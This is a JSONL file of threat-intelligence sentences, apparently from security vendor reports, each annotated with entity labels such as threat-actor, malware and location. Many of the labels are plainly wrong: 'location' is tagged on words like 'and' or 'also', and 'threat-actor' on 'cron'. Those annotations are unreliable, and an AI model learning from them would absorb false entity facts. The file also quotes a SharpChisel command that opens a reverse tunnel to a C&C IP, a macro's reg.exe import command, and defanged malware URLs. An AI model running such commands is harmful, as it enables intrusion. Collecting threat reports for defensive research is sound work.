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{"id":4204,"text":"Back in February, we noted the similarities between the Patchwork and Confucius groups and found that, in addition to the similarities in their malware code, both groups primarily went after targets in South Asia.","entities":[{"id":50016,"label":"threat-actor","start_offset":70,"end_offset":79},{"id":50014,"label":"TIME","start_offset":8,"end_offset":16},{"id":50015,"label":"threat-actor","start_offset":56,"end_offset":65},{"id":50017,"label":"location","start_offset":202,"end_offset":212}],"relations":[{"id":898,"from_id":50015,"to_id":50016,"type":"related-to"},{"id":899,"from_id":50015,"to_id":50017,"type":"targets"},{"id":900,"from_id":50016,"to_id":50017,"type":"targets"},{"id":901,"from_id":50016,"to_id":50015,"type":"related-to"}],"Comments":[]}
{"id":4461,"text":"We observed fewer than three dozen installs of this spyware.","entities":[],"relations":[],"Comments":[]}
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{"id":45,"text":"The difference in price represented the difference in value: criminals were able to make more money through a Banking Trojan account takeover from an Australian infection than they could in Poland.","entities":[{"id":45771,"label":"malware","start_offset":110,"end_offset":124},{"id":45772,"label":"attack-pattern","start_offset":125,"end_offset":141},{"id":44579,"label":"location","start_offset":190,"end_offset":196},{"id":44580,"label":"location","start_offset":150,"end_offset":160}],"relations":[],"Comments":[]}
{"id":7334,"text":"T1070.004  File Deletion  The app bundle and dropper delete themselves after execution  T1222.002  Linux and Mac File and Directory Permissions Modification  ","entities":[{"id":22826,"label":"attack-pattern","start_offset":11,"end_offset":24},{"id":22827,"label":"location","start_offset":41,"end_offset":44},{"id":22828,"label":"location","start_offset":105,"end_offset":108},{"id":22829,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
{"id":8881,"text":"Meanwhile, having the same user account launch the PlugX process and the auxiliary tool shows that the scheduled task is not for privilege escalation.","entities":[{"id":27469,"label":"location","start_offset":22,"end_offset":26},{"id":27470,"label":"malware","start_offset":51,"end_offset":56},{"id":27471,"label":"location","start_offset":65,"end_offset":68},{"id":27472,"label":"location","start_offset":83,"end_offset":87},{"id":27473,"label":"attack-pattern","start_offset":103,"end_offset":117},{"id":27474,"label":"attack-pattern","start_offset":129,"end_offset":149}],"relations":[],"Comments":[]}
{"id":143,"text":"Specifically, there are three things that combine to make ransomware a particularly potent threat on the technical level:","entities":[],"relations":[],"Comments":[]}
{"id":3521,"text":"Directly connect to the C&C server and use DNS server to retrieve the C&C IP address.","entities":[],"relations":[],"Comments":[]}
{"id":330,"text":"This allows attackers to hide their communications and avoid having their C2 servers shut down, but also makes it easy for organizations to block the threat.","entities":[],"relations":[],"Comments":[]}
{"id":5720,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  Unit 42 released details about a new spear phishing campaign called FreeMilk that uses a relatively new attack technique that can be highly effective.","entities":[{"id":17675,"label":"location","start_offset":5,"end_offset":9},{"id":17677,"label":"identity","start_offset":53,"end_offset":60},{"id":17678,"label":"attack-pattern","start_offset":90,"end_offset":104},{"id":17679,"label":"location","start_offset":105,"end_offset":113},{"id":17681,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
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{"id":4879,"text":"TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted.","entities":[{"id":50886,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
{"id":8211,"text":"The initial email sent by the malicious actors, allegedly from the General Directorate of Public Finances (DGFiP) of France, concerning tax inquiries     The email contained an attached PDF file that seemed to be a letter from the French Tax service:      Figure 7.","entities":[],"relations":[],"Comments":[]}
{"id":9027,"text":"RATANKBA Infection Flow RATANKBA is delivered to its victims using a variety of lure documents, including Microsoft Office documents, malicious CHM files, and different script downloaders.","entities":[{"id":27888,"label":"malware","start_offset":0,"end_offset":8},{"id":27890,"label":"location","start_offset":80,"end_offset":84},{"id":27892,"label":"location","start_offset":155,"end_offset":158}],"relations":[],"Comments":[]}
{"id":4365,"text":"The following security solutions can also protect users from email-based attacks:  Trend Micro\u2122 Cloud App Security \u2013 Enhances the security of Microsoft Office 365 and other cloud services via computer vision and real-time scanning.","entities":[{"id":50148,"label":"SOFTWARE","start_offset":142,"end_offset":162},{"id":50147,"label":"SOFTWARE","start_offset":83,"end_offset":114}],"relations":[],"Comments":[]}
{"id":6102,"text":"All of the attacks were detected by our WildFire platform.","entities":[{"id":18873,"label":"malware","start_offset":40,"end_offset":48}],"relations":[],"Comments":[]}
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{"id":1996,"text":"Additional Resources","entities":[],"relations":[],"Comments":[]}
{"id":6717,"text":"We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.","entities":[{"id":20916,"label":"location","start_offset":3,"end_offset":7},{"id":20917,"label":"attack-pattern","start_offset":82,"end_offset":90},{"id":20918,"label":"location","start_offset":91,"end_offset":94},{"id":20919,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
{"id":8365,"text":"We\u2019ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.","entities":[{"id":25737,"label":"tools","start_offset":70,"end_offset":76},{"id":25738,"label":"location","start_offset":77,"end_offset":80},{"id":25739,"label":"location","start_offset":81,"end_offset":89},{"id":25740,"label":"location","start_offset":112,"end_offset":115},{"id":25741,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
{"id":4627,"text":"For years, we have been countering this group\u2019s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.","entities":[{"id":50541,"label":"identity","start_offset":181,"end_offset":199}],"relations":[],"Comments":[]}
{"id":13177,"text":" Figure 5. USBferry malware using USB worm infection strategy","entities":[{"id":41121,"label":"malware","start_offset":11,"end_offset":19}],"relations":[],"Comments":[]}
{"id":14122,"text":"    During the capture of samples for Operation Earth Kitsune, we managed to dump information about the Mattermost server using its API and the token used by the malware itself.","entities":[{"id":48187,"label":"campaign","start_offset":38,"end_offset":61}],"relations":[],"Comments":[]}
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{"id":11717,"text":"As seen with their phishing attacks and their mobile device tools\u2019 continuous development, SideWinder is very proactive in using trending topics like Covid-19 or various political issues as a social engineering technique to compromise their targets.","entities":[{"id":36108,"label":"attack-pattern","start_offset":19,"end_offset":27},{"id":36109,"label":"location","start_offset":36,"end_offset":39},{"id":36110,"label":"location","start_offset":46,"end_offset":52},{"id":36111,"label":"malware","start_offset":91,"end_offset":101}],"relations":[],"Comments":[]}
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{"id":2338,"text":"In contrast, a 0-day is a vulnerability with no available patch which makes it harder to defend against.","entities":[],"relations":[],"Comments":[]}
{"id":1560,"text":"If you get an email like this, you shouldn\u2019t open the attachment and click \u201cenable content\u201d.","entities":[],"relations":[],"Comments":[]}
{"id":8098,"text":"Certificate information of one of the apps Installation SideWinder installs the payload app in two stages.","entities":[],"relations":[],"Comments":[]}
{"id":435,"text":" How Do Unauthorized Coin Mining Attacks Happen?","entities":[{"id":44748,"label":"attack-pattern","start_offset":8,"end_offset":32}],"relations":[],"Comments":[]}
{"id":6307,"text":"Attempts to execute the benign application from the ISO-mounted folder resulted in the loading of the malicious payload as a dependency through a technique known as DLL search order hijacking.","entities":[{"id":19559,"label":"attack-pattern","start_offset":165,"end_offset":191}],"relations":[],"Comments":[]}
{"id":6621,"text":" https:\/\/unit42.paloaltonetworks.com\/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling\/  https:\/\/unit42.paloaltonetworks.com\/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-performs-tests-twoface-webshell\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan\/  https:\/\/unit42.paloaltonetworks.com\/unit42-striking-oil-closer-look-adversary-infrastructure\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group\/  https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-actors-provide-glimpse-development-testing-efforts\/  https:\/\/unit42.paloaltonetworks.com\/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor\/  https:\/\/attack.mitre.org\/groups\/G0059\/  The Magic Hound campaign targeted energy, government, and technology organizations with spear-phishing emails as a delivery mechanism. These emails delivered macro-enabled Microsoft Office documents and PE files within attachments. The documents and executables attached to emails would install a variety of tools from portable PE files, .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open sourced Python RAT called Pupy.  The custom tools used in the Magic Hound campaign provided connections to other threat groups, such as the IRC Bot which was very similar to the Parastoo tool associated with the NEWSCASTER threat group.","entities":[{"id":20520,"label":"URL","start_offset":1,"end_offset":97},{"id":20521,"label":"URL","start_offset":99,"end_offset":201},{"id":20523,"label":"URL","start_offset":313,"end_offset":428},{"id":20526,"label":"URL","start_offset":642,"end_offset":737},{"id":20533,"label":"URL","start_offset":1346,"end_offset":1467},{"id":20534,"label":"URL","start_offset":1469,"end_offset":1507},{"id":20535,"label":"threat-actor","start_offset":1513,"end_offset":1524},{"id":20536,"label":"location","start_offset":1525,"end_offset":1533},{"id":20537,"label":"location","start_offset":1543,"end_offset":1549},{"id":20538,"label":"location","start_offset":1563,"end_offset":1566},{"id":20539,"label":"location","start_offset":1597,"end_offset":1602},{"id":20540,"label":"attack-pattern","start_offset":1603,"end_offset":1611},{"id":20541,"label":"identity","start_offset":1681,"end_offset":1690},{"id":20542,"label":"tools","start_offset":1691,"end_offset":1697},{"id":20543,"label":"location","start_offset":1708,"end_offset":1711},{"id":20544,"label":"location","start_offset":1755,"end_offset":1758},{"id":20545,"label":"malware","start_offset":1872,"end_offset":1883},{"id":20546,"label":"malware","start_offset":1911,"end_offset":1922},{"id":20547,"label":"location","start_offset":1952,"end_offset":1955},{"id":20549,"label":"threat-actor","start_offset":2026,"end_offset":2037},{"id":20550,"label":"location","start_offset":2038,"end_offset":2046},{"id":20552,"label":"location","start_offset":2151,"end_offset":2155},{"id":20553,"label":"threat-actor","start_offset":2176,"end_offset":2186}],"relations":[],"Comments":[]}
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{"id":5042,"text":"We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.","entities":[],"relations":[],"Comments":[]}
{"id":7068,"text":" It should be noted that we also found recent samples of the SysUpdate backdoor that do not implement these \u201cnew\u201d classes.","entities":[{"id":22144,"label":"malware","start_offset":61,"end_offset":70}],"relations":[],"Comments":[]}
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{"id":917,"text":" This script file contains the following commands, which will delete shadow copies on the Windows operating system.","entities":[{"id":46439,"label":"SOFTWARE","start_offset":90,"end_offset":114}],"relations":[],"Comments":[]}
{"id":1812,"text":"We observed that a new user account was created, added to the current domain, and included in the administrator group.","entities":[],"relations":[],"Comments":[]}
{"id":4747,"text":"While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.","entities":[],"relations":[],"Comments":[]}
{"id":1424,"text":" All Android apps must be digitally signed with a certificate from the developer.","entities":[{"id":46762,"label":"SOFTWARE","start_offset":5,"end_offset":12}],"relations":[],"Comments":[]}
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{"id":2436,"text":" The newly added module property makes it possible to modify the logging configuration so that a JSP webshell can be written into the web host folder via the logging function as shown in Figure 7.","entities":[{"id":47502,"label":"SOFTWARE","start_offset":97,"end_offset":100},{"id":47503,"label":"attack-pattern","start_offset":101,"end_offset":109}],"relations":[],"Comments":[]}
{"id":10040,"text":"contains the cron and anacron binaries, which are the cryptocurrency miners used by the malware.","entities":[{"id":30636,"label":"threat-actor","start_offset":13,"end_offset":17},{"id":30637,"label":"location","start_offset":18,"end_offset":21},{"id":30638,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
{"id":14244,"text":"For each file, GitHub stores first-and-last commit timestamps; these enabled us to create a timeline of the first use of the group\u2019s many C&C servers.","entities":[{"id":48439,"label":"SOFTWARE","start_offset":15,"end_offset":22}],"relations":[],"Comments":[]}
{"id":11882,"text":"We did not recover additional payloads in our environment.","entities":[],"relations":[],"Comments":[]}
{"id":514,"text":" Higher malware variant numbers don't necessarily imply a higher prevalence.","entities":[],"relations":[],"Comments":[]}
{"id":7581,"text":"If the MSI Installer package contains ServHelper as a payload, it will come with an NSIS (Nullsoft Scriptable Install System) installer.","entities":[{"id":23637,"label":"location","start_offset":66,"end_offset":70},{"id":23638,"label":"malware","start_offset":84,"end_offset":88}],"relations":[],"Comments":[]}
{"id":3876,"text":"In addition to implementing both mitigation techniques and proactive strategies, organizations can also strengthen their security by employing solutions such Trend Micro\u2122 Deep Security\u2122 and TippingPoint, which protects endpoints from threats that abuse vulnerabilities.","entities":[{"id":49728,"label":"identity","start_offset":158,"end_offset":169},{"id":49729,"label":"SOFTWARE","start_offset":171,"end_offset":184},{"id":49730,"label":"SOFTWARE","start_offset":190,"end_offset":202}],"relations":[],"Comments":[]}
{"id":1448,"text":"This is convenient for developers, which is great, but it is also convenient for hackers, which is not.","entities":[],"relations":[],"Comments":[]}
{"id":2804,"text":" As the attack leverages this Microsoft vulnerability, the most appropriate first step to take against the attack is to apply the patches.","entities":[{"id":48022,"label":"identity","start_offset":30,"end_offset":39}],"relations":[],"Comments":[]}
{"id":2124,"text":"It\u2019s important to note, however, that the vulnerability is not exploitable in default configurations.","entities":[],"relations":[],"Comments":[]}
{"id":318,"text":" The Backoff and Citadel reports from last week highlight how uncontrolled remote access broadens your attack surface and acts as a backdoor for attackers already in your network.","entities":[{"id":1095,"label":"malware","start_offset":5,"end_offset":12},{"id":1097,"label":"malware","start_offset":17,"end_offset":24}],"relations":[],"Comments":[]}
{"id":1477,"text":"Whoever controls the key controls updates for the application forever, and a key shared between applications in this way can never be transferred to a financial institution without compromising the security of all of the other apps signed with it.","entities":[],"relations":[],"Comments":[]}
{"id":13015,"text":"In early March, Google\u2019s Threat Analysis Group (TAG) published an update on the cyber activity it was tracking with regard to the war in Ukraine.","entities":[{"id":48825,"label":"identity","start_offset":25,"end_offset":52},{"id":48827,"label":"TIME","start_offset":3,"end_offset":14},{"id":48826,"label":"location","start_offset":137,"end_offset":144}],"relations":[],"Comments":[]}
{"id":1329,"text":"The remote server has the ability to respond and provide instructions to the RAT.","entities":[],"relations":[],"Comments":[]}
{"id":3591,"text":"The following image shows the modified function name.","entities":[],"relations":[],"Comments":[]}
{"id":4277,"text":"The dropped payloads are modified versions of the Remote Administration Tool QuasarRAT that can be traced to the domains sastind-cn[.]org and tautiaos[.]com.","entities":[{"id":50080,"label":"DOMAIN","start_offset":142,"end_offset":156},{"id":50078,"label":"malware","start_offset":77,"end_offset":86},{"id":50079,"label":"DOMAIN","start_offset":121,"end_offset":137}],"relations":[{"id":915,"from_id":50078,"to_id":50079,"type":"communicates-with"},{"id":916,"from_id":50078,"to_id":50080,"type":"communicates-with"}],"Comments":[]}
{"id":3604,"text":" While we don\u2019t have definitive evidence that the use of these tools are part of a single campaign, we think the analyzed samples are related to a specific campaign.","entities":[],"relations":[],"Comments":[]}
{"id":2521,"text":"Such gangs obtain their foothold in the networks of their victims by purchasing access from other threat actors, who sell it as a commodity.","entities":[{"id":47716,"label":"attack-pattern","start_offset":69,"end_offset":86}],"relations":[],"Comments":[]}
{"id":14179,"text":"Yes, we\u2019ve seen continuous DDoS attacks, a campaign of web defacements and various iterations of wiper malware.","entities":[{"id":48221,"label":"attack-pattern","start_offset":27,"end_offset":32},{"id":48222,"label":"malware","start_offset":97,"end_offset":102}],"relations":[],"Comments":[]}
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{"id":13344,"text":"After that, the PowerShell command executes the main ransomware loader.","entities":[{"id":41529,"label":"attack-pattern","start_offset":16,"end_offset":26}],"relations":[],"Comments":[]}
{"id":13738,"text":"The payloads performed functionalities we have never seen in other Waterbear campaigns.","entities":[],"relations":[],"Comments":[]}
{"id":2656,"text":"While typically seeking victims of opportunity, LockBit 2.0 does appear to have victim limitations.","entities":[{"id":47844,"label":"threat-actor","start_offset":48,"end_offset":59}],"relations":[],"Comments":[]}
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{"id":2860,"text":"The latest episode of the Don\u2019t Panic cybersecurity podcast is now live.","entities":[],"relations":[],"Comments":[]}
{"id":12802,"text":"The tactic it later adopted required prior knowledge of their targets\u2019 environment.","entities":[],"relations":[],"Comments":[]}
{"id":11307,"text":"The attacker runs HYPERSCRAPE on their own machine to download victims\u2019 inboxes using previously acquired credentials.","entities":[],"relations":[],"Comments":[]}
{"id":14334,"text":"One of the samples was sourced from hxxp:\/\/roundyearfun[.]org\/noavi\/MiaKhalifa[.]apk.","entities":[{"id":48562,"label":"URL","start_offset":36,"end_offset":84}],"relations":[],"Comments":[]}
{"id":844,"text":"These don\u2019t attack the kernel to gain privileges.","entities":[],"relations":[],"Comments":[]}
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{"id":2212,"text":"The malware initially attempts to download a file from the following location:","entities":[],"relations":[],"Comments":[]}
{"id":10092,"text":"It is a second-stage payload in the attack.","entities":[],"relations":[],"Comments":[]}
{"id":1522,"text":" If the first value in the packet is 0x20 the file will delete all DDoS tasks.","entities":[],"relations":[],"Comments":[]}
{"id":2020,"text":"As there is no data within the .text section on disk, the entry point of the unpacking stub is within the .data section, which will unpack the malicious code into the .text section on runtime.","entities":[],"relations":[],"Comments":[]}
{"id":3836,"text":"Figure 10.","entities":[],"relations":[],"Comments":[]}
{"id":13127,"text":"In-house skills shortages and the rapid pace of innovation from cloud service providers exacerbate this challenge.","entities":[],"relations":[],"Comments":[]}
{"id":12471,"text":"We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
{"id":695,"text":" Conclusion","entities":[],"relations":[],"Comments":[]}
{"id":6478,"text":"We believe that the threat actor was unable to configure SharpChisel to work correctly.","entities":[],"relations":[],"Comments":[]}
{"id":60,"text":"However, there are many other \u201ccrypto coins\u201d in the market today.","entities":[],"relations":[],"Comments":[]}
{"id":11210,"text":"Again, the response is expected to be \"OK\".","entities":[],"relations":[],"Comments":[]}
{"id":1285,"text":" Sysget\/HelloBridge  ","entities":[{"id":46657,"label":"malware","start_offset":1,"end_offset":7},{"id":46658,"label":"malware","start_offset":8,"end_offset":19}],"relations":[],"Comments":[]}
{"id":4153,"text":"In the previous phase, we observed that the actors use several tools to get the whole picture of the network infrastructure and bypass the firewall.","entities":[],"relations":[],"Comments":[]}
{"id":5215,"text":"Notably, hosts never stopped sending traffic to us, even if we only sent them a single 288-byte packet.","entities":[],"relations":[],"Comments":[]}
{"id":6477,"text":"A third SharpChisel instance that connects to a different C&C server at 23.95.215.100:8080 is started via the following command: C:\\programdata\\SharpChisel.exe client 23.95.215[.]100:8080 r:8888:127.0.0.1:9999 It is then configured with the following command line PowerShell command: powershell.exe C:\\programdata\\SharpChisel.exe client 23.95.215[.]100:8080 R:8888:127.0.0.1:9999","entities":[{"id":20125,"label":"attack-pattern","start_offset":264,"end_offset":274}],"relations":[],"Comments":[]}
{"id":9707,"text":" Figure 24.","entities":[],"relations":[],"Comments":[]}
{"id":3982,"text":"An attack on the software supply chain happens when a cyber threat actor invades a vendor's network and uses malicious codes, compromising the software before the vendor sends it to their consumers.","entities":[],"relations":[],"Comments":[]}
{"id":4100,"text":"The difference between the two variants is the protocol used for communication: ICMP and SSL.","entities":[],"relations":[],"Comments":[]}
{"id":10096,"text":"It is believed that Sunburst was delivered via a trojanized version of the Orion network monitoring application.","entities":[],"relations":[],"Comments":[]}
{"id":3185,"text":"If it receives any response with an expected string from these ports, the script will stop.","entities":[],"relations":[],"Comments":[]}
{"id":3892,"text":"They must also confer with teams to develop and document what has occurred.","entities":[],"relations":[],"Comments":[]}
{"id":5514,"text":"Although tens of thousands of websites have been caught out in this way, there are things you can do to stay safe\u2014most notably by running Trend Micro Security.","entities":[{"id":51523,"label":"identity","start_offset":138,"end_offset":158}],"relations":[],"Comments":[]}
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{"id":1737,"text":"What causes it?","entities":[],"relations":[],"Comments":[]}
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{"id":1993,"text":" Unit 42 has observed x4k in various hacking and non-hacking forums, which has linked the threat actor to additional malicious activity such as:  Palo Alto Networks detects and prevents HelloXD and adjacent x4k activity with the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security subscriptions such as WildFire).","entities":[{"id":5898,"label":"SOFTWARE","start_offset":262,"end_offset":272},{"id":5891,"label":"identity","start_offset":1,"end_offset":8},{"id":5895,"label":"malware","start_offset":186,"end_offset":193},{"id":5902,"label":"malware","start_offset":361,"end_offset":369},{"id":47100,"label":"threat-actor","start_offset":22,"end_offset":25},{"id":47101,"label":"identity","start_offset":146,"end_offset":164},{"id":47102,"label":"threat-actor","start_offset":207,"end_offset":210}],"relations":[],"Comments":[]}
{"id":13107,"text":"In fact, Trend Micro is only the second cybersecurity specialist to join.","entities":[],"relations":[],"Comments":[]}
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{"id":2705,"text":"The vulnerability exists in the way that Internet Explorer accesses an object in memory that has been deleted or has not been properly allocated.","entities":[{"id":47946,"label":"SOFTWARE","start_offset":41,"end_offset":58}],"relations":[],"Comments":[]}
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{"id":4444,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.","entities":[{"id":50218,"label":"TIME","start_offset":96,"end_offset":103}],"relations":[],"Comments":[]}
{"id":8656,"text":"We did not recover additional payloads in our environment.","entities":[],"relations":[],"Comments":[]}
{"id":1863,"text":"This variant is also capable of modifying other details of the installed security solutions, such as disabling the legal notice.","entities":[],"relations":[],"Comments":[]}
{"id":13962,"text":"Trend Micro has a multilayered cybersecurity platform that can help improve your organization\u2019s detection and response against the latest ransomware attacks and improve your organization\u2019s visibility.","entities":[],"relations":[],"Comments":[]}
{"id":1861,"text":"We think the same can be said for the software deployment tool, wherein the malicious actors can subsequently decide to replace and abuse it with other commercially available ones.","entities":[],"relations":[],"Comments":[]}
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{"id":14110,"text":"In our case, we collected many samples across 2020, and we found that the compile dates and times follow a logical timeline according to the malicious activity.","entities":[],"relations":[],"Comments":[]}
{"id":2546,"text":" \u2020These capabilities are part of the NGFW security subscriptions service.","entities":[],"relations":[],"Comments":[]}
{"id":9749,"text":"The macro then runs the following command: \"C:\\Windows\\System32\\cmd.exe\" \/k %windir%\\System32\\reg.exe IMPORT %temp%\\B.reg","entities":[],"relations":[],"Comments":[]}
{"id":3161,"text":"Customers will welcome AWS native threat detection as a complement to their Trend Micro Cloud One capabilities, delivering a comprehensive range of features to secure the hybrid cloud.","entities":[{"id":48280,"label":"identity","start_offset":23,"end_offset":26},{"id":48281,"label":"SOFTWARE","start_offset":76,"end_offset":97}],"relations":[],"Comments":[]}
{"id":6513,"text":"Affected countries     We observed Earth Vetala target the following sectors:  Government Agencies Academia Tourism  Trend Micro Solutions Earth Vetala represents an interesting threat.","entities":[{"id":20181,"label":"threat-actor","start_offset":35,"end_offset":47},{"id":20182,"label":"location","start_offset":48,"end_offset":54},{"id":20183,"label":"location","start_offset":99,"end_offset":107},{"id":20184,"label":"location","start_offset":123,"end_offset":128},{"id":20185,"label":"threat-actor","start_offset":139,"end_offset":151}],"relations":[],"Comments":[]}
{"id":12778,"text":"We\u2019ve also seen PLEAD use exploits for these vulnerabilities:   CVE-2015-5119, patched by Adobe last July, 2015 CVE-2012-0158, patched by Microsoft last April, 2012 CVE-2014-6352, patched by Microsoft last October, 2014 CVE-2017-0199, patched by Microsoft last April, 2017  PLEAD also dabbled with a short-lived, fileless version of their malware when it obtained an exploit for a Flash vulnerability (CVE-2015-5119) that was leaked during the Hacking Team breach.","entities":[{"id":39759,"label":"malware","start_offset":16,"end_offset":21},{"id":39771,"label":"malware","start_offset":274,"end_offset":279},{"id":39772,"label":"location","start_offset":300,"end_offset":305},{"id":39773,"label":"threat-actor","start_offset":444,"end_offset":456}],"relations":[],"Comments":[]}
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{"id":8386,"text":"We observed fewer than three dozen installs of this spyware.","entities":[],"relations":[],"Comments":[]}
{"id":7954,"text":" Method B: Self modifying the APK  This exploit can take advantage of the same vulnerability to mask what permissions the app really requires.  This vulnerability affects Android device users as well as Android app developers.  For Android device users, the users may end up with installing apps that are not the ones they agree to install.  Android app developers are also affected, because app-store apps and mobile ads libraries that do not rely on Google Play store would be likely to save the promoted apps in unprotected storage, e.g. \/sdcard.","entities":[{"id":24641,"label":"location","start_offset":48,"end_offset":51},{"id":24642,"label":"location","start_offset":74,"end_offset":78},{"id":24643,"label":"threat-actor","start_offset":96,"end_offset":100},{"id":24644,"label":"location","start_offset":264,"end_offset":267},{"id":24645,"label":"location","start_offset":301,"end_offset":304},{"id":24646,"label":"location","start_offset":365,"end_offset":368},{"id":24647,"label":"location","start_offset":407,"end_offset":410},{"id":24648,"label":"location","start_offset":411,"end_offset":417},{"id":24649,"label":"location","start_offset":479,"end_offset":485},{"id":24650,"label":"location","start_offset":489,"end_offset":493}],"relations":[],"Comments":[]}
{"id":1633,"text":"Unfortunately for them, this gave us additional insight into their operation.","entities":[],"relations":[],"Comments":[]}
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{"id":1988,"text":"Unlike other ransomware groups, this ransomware family doesn\u2019t have an active leak site; instead it prefers to direct the impacted victim to negotiations through TOX chat and onion-based messenger instances.","entities":[{"id":47098,"label":"SOFTWARE","start_offset":162,"end_offset":165}],"relations":[],"Comments":[]}
{"id":5001,"text":"Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities.","entities":[],"relations":[],"Comments":[]}
{"id":4299,"text":"Since these teams also handle the day-to-day IT requirements of the organization, taking on a more involved and proactive stance may not be easy.","entities":[],"relations":[],"Comments":[]}
{"id":4866,"text":"Amnesty International has also reported on their campaigns.","entities":[],"relations":[],"Comments":[]}
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{"id":11591,"text":"The Android app disguises itself as a legitimate Samsung application via its icon: When the user launches the application, a webview is opened that displays a legitimate website related to the icon.","entities":[],"relations":[],"Comments":[]}
{"id":5202,"text":"Confidentiality and authenticity for this data is not protected even with DDS Security, making it possible for an attacker to spoof the information.      CVE ID","entities":[],"relations":[],"Comments":[]}
{"id":5484,"text":"hayat22 declined, saying she felt safer using Tweety Chat.","entities":[{"id":51478,"label":"identity","start_offset":0,"end_offset":7},{"id":51479,"label":"SOFTWARE","start_offset":46,"end_offset":52}],"relations":[],"Comments":[]}
{"id":7261,"text":"We recently discovered a new backdoor we believe to be related to the OceanLotus group.","entities":[],"relations":[],"Comments":[]}
{"id":4086,"text":"Reused codes from open-source Lilith RAT     In order to launch this RAT, the threat actors use a technique called \"Phantom DLL hijacking.\"","entities":[{"id":49920,"label":"malware","start_offset":30,"end_offset":40},{"id":49921,"label":"attack-pattern","start_offset":116,"end_offset":137}],"relations":[],"Comments":[]}
{"id":3225,"text":"The HTTP service with marker BPSV3     We also observed other markers \u2014 such as, \u201ccs_online\u201d, \u201conline\u201d, and \u201cdm_online\u201d.","entities":[],"relations":[],"Comments":[]}
{"id":1542,"text":"The Sofacy Group (AKA APT28, Grizzly Steppe, Fancy Bear, STRONTIUM, Sednit, Tsar Team, Pawn Storm) is a well-known hacking organization widely reported to be associated with Russia by the US Intelligence Community, numerous media reports and other cybersecurity companies.","entities":[{"id":45045,"label":"threat-actor","start_offset":4,"end_offset":16},{"id":45046,"label":"threat-actor","start_offset":22,"end_offset":27},{"id":45051,"label":"threat-actor","start_offset":76,"end_offset":85},{"id":45052,"label":"threat-actor","start_offset":87,"end_offset":97},{"id":45053,"label":"location","start_offset":174,"end_offset":180},{"id":45054,"label":"identity","start_offset":188,"end_offset":213},{"id":45047,"label":"threat-actor","start_offset":29,"end_offset":43},{"id":45048,"label":"threat-actor","start_offset":45,"end_offset":55},{"id":45049,"label":"threat-actor","start_offset":57,"end_offset":66},{"id":45050,"label":"threat-actor","start_offset":68,"end_offset":74}],"relations":[{"id":59,"from_id":45045,"to_id":45053,"type":"located-at"},{"id":60,"from_id":45046,"to_id":45053,"type":"located-at"},{"id":62,"from_id":45048,"to_id":45053,"type":"located-at"},{"id":63,"from_id":45049,"to_id":45053,"type":"located-at"},{"id":64,"from_id":45050,"to_id":45053,"type":"located-at"},{"id":68,"from_id":45046,"to_id":45045,"type":"duplicate-of"},{"id":69,"from_id":45047,"to_id":45045,"type":"duplicate-of"},{"id":65,"from_id":45051,"to_id":45053,"type":"located-at"},{"id":66,"from_id":45052,"to_id":45053,"type":"located-at"},{"id":70,"from_id":45048,"to_id":45045,"type":"duplicate-of"},{"id":71,"from_id":45049,"to_id":45045,"type":"duplicate-of"},{"id":72,"from_id":45050,"to_id":45045,"type":"duplicate-of"},{"id":61,"from_id":45047,"to_id":45053,"type":"located-at"},{"id":73,"from_id":45051,"to_id":45045,"type":"duplicate-of"},{"id":74,"from_id":45052,"to_id":45045,"type":"duplicate-of"}],"Comments":[]}
{"id":9494,"text":"The decrypted oRAT configuration     The configuration is decrypted using the AES-GCM (AES with Galois\/Counter Mode) algorithm.","entities":[{"id":29142,"label":"malware","start_offset":14,"end_offset":18},{"id":29143,"label":"location","start_offset":111,"end_offset":115}],"relations":[],"Comments":[]}
{"id":4426,"text":"Data from Google Takeout is also available upon request, but the option was only found in early builds.","entities":[{"id":50210,"label":"SOFTWARE","start_offset":10,"end_offset":24}],"relations":[],"Comments":[]}
